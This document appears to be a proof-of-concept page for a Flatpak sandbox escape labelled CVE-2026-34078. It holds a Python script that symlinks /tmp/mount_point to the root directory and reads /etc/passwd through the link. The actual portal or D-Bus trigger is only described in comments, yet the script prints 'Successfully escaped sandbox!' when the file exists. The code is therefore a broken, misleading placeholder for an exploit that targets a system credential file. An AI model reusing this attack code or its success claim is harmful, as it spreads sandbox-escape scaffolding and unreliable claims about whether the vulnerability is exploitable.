CVE-2026-34078 Flatpak沙箱逃逸漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-34078: Flatpak Sandbox Escape # This PoC demonstrates how a malicious app could access host files # via symlink manipulation in sandbox-expose. import os # 1. Create a malicious symlink inside the sandbox pointing to the host root # Note: In a real exploit, this path would be passed to the portal malicious_link = "/tmp/mount_point" target_path = "/" try: # Simulating the creation of a symlink controlled by the app os.symlink(target_path, malicious_link) print(f"[+] Created symlink: {malicious_link} -> {target_path}") # 2. Request the Flatpak portal to expose this path # In a real scenario, this involves D-Bus calls to org.flatpak.portal # Specifically invoking methods that accept sandbox-expose flags print("[*] Attempting to trigger the vulnerable path resolution...") # 3. Verify access to host files (e.g., /etc/passwd) host_passwd = os.path.join(malicious_link, "etc", "passwd") if os.path.exists(host_passwd): print(f"[!] Successfully escaped sandbox! Reading {host_passwd}") with open(host_passwd, 'r') as f: print(f.read()) else: print("[-] Exploit failed or path not exposed correctly.") except Exception as e: print(f"[-] Error: {e}")